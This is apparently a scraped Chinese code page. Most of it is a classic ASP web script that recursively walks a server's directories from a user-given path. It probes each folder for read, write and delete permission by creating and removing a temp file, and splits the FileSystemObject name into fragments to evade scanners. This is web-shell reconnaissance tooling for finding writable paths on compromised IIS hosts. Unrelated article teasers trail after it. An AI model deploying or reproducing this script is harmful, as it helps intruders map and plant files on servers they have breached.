<%
'Response.Buffer = FALSE
Server.ScriptTimeOut=999999999
Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
%>
<%
sPath=replace(request("sPath"),"/","\")
ShowPath=""
if sPath="" then
ShowPath="C:\Program Files\"
else
ShowPath=sPath
end if
%>
<form name="form1" method="post" action="">
<label><br>
</label>
<label> </label>
<table width="80%" border="0">
<tr>
<td><strong>路径:</strong>
<input name="sPath" type="text" id="sPath" value="<%=ShowPath%>" style="width:500px;height:25px">
<input style="width:160px;height:28px" type="submit" name="button" id="button" value="提交" /> 可以读 不可读 可以写 不可写</td>
</tr>
</table>
</form>
<%
Dim i1:i1=0
if sPath<>"" then
Call Bianli(sPath)
end if
Set Fso=nothing
%>
<%
Function CheckDirIsOKWrite(DirStr)
On Error Resume Next
Fso.CreateTextFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write " <font color=red>不可写</font>"
CheckDirIsOKWrite=0
else
response.write " <font color=green><b>可以写</b></font>"
CheckDirIsOKWrite=1
end if
End Function
Function CheckDirIsOKDel(DirStr)
On Error Resume Next
Fso.DeleteFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write " <font color=red>不可删除</font>"
else
response.write " <font color=green><b>可以删除</b></font>"
end if
End Function
Function WriteSpace(NunStr)
for iu=0 to NunStr
response.write " "
next
End Function
Function Bianli(path)
On Error Resume Next
i1=i1+1
Set Objfolder=fso.getfolder(path)
Set Objsubfolders=objfolder.subfolders
dim t1:t1=1
WriteSpace(i1)
response.write path
SubFCount=Objsubfolders.count
if Err.number<>0 then
SubFCount=-1
Err.Clear()
end if
if SubFCount>-1 then
response.write " <font color=green>可以读</font>"
else
response.write " <font color=red>不可读</font>"
end if
if SubFCount>-1 then
IsWrite=CheckDirIsOKWrite(path)
if IsWrite=1 then CheckDirIsOKDel(path)
For Each Objsubfolder In Objsubfolders
'response.write "<br>("&t1&"/"&Objsubfolders.count&")/<b>"&i1&"</b> "&vbcrlf
response.write "<br> "&vbcrlf
Nowpath=path + "\" + Objsubfolder.name
Set Objfolder=nothing
Set Objsubfolders=nothing
Call Bianli(nowpath)'递归
i1=i1-1
t1=t1+1
Next
end if
End Function
%>
另外尊托云数提供一份源码下载https://www.jb51.net/codes/39929.html
随机生成四位数验证码,包括汉字,数字,英文大小写。 1.Servlet类 package serv...
文章目录: 1、复制过程 2、数据间的同步 3、全量复制 4、部分复制 5、心跳 6、...
本次比赛由大四金牌团队出题 A - Array Permutation 题意 思维题。输入n现有m位...
通常,在asp中进行的form表单提交的数据都被写进数据库管理系统中去,如果你想要...
数据库索引在平时的工作是必备的,怎么建好索引,怎么使用索引,可以提高数据的...
杂记01王者荣耀再见 时间 2021年2月14日大年初三情人节 事件 打开下载了又反复卸...
文章目录 一、文件的基础知识 1.什么是文件 2.文件名 3.文件类型 4.文件指针 二...
flex通常是指Adobe Flex,是最初由Macromedia公司在2004年3月发布的,基于其专有...
.NET Core 的内容处处可见,刷爆全球各大社区,所以,老周相信各位大伙伴已经看...
原著:Jan Egil Refsnes 翻译:阿捷 二.XSL的转换 1.将XML转换成HTML XSL是如何...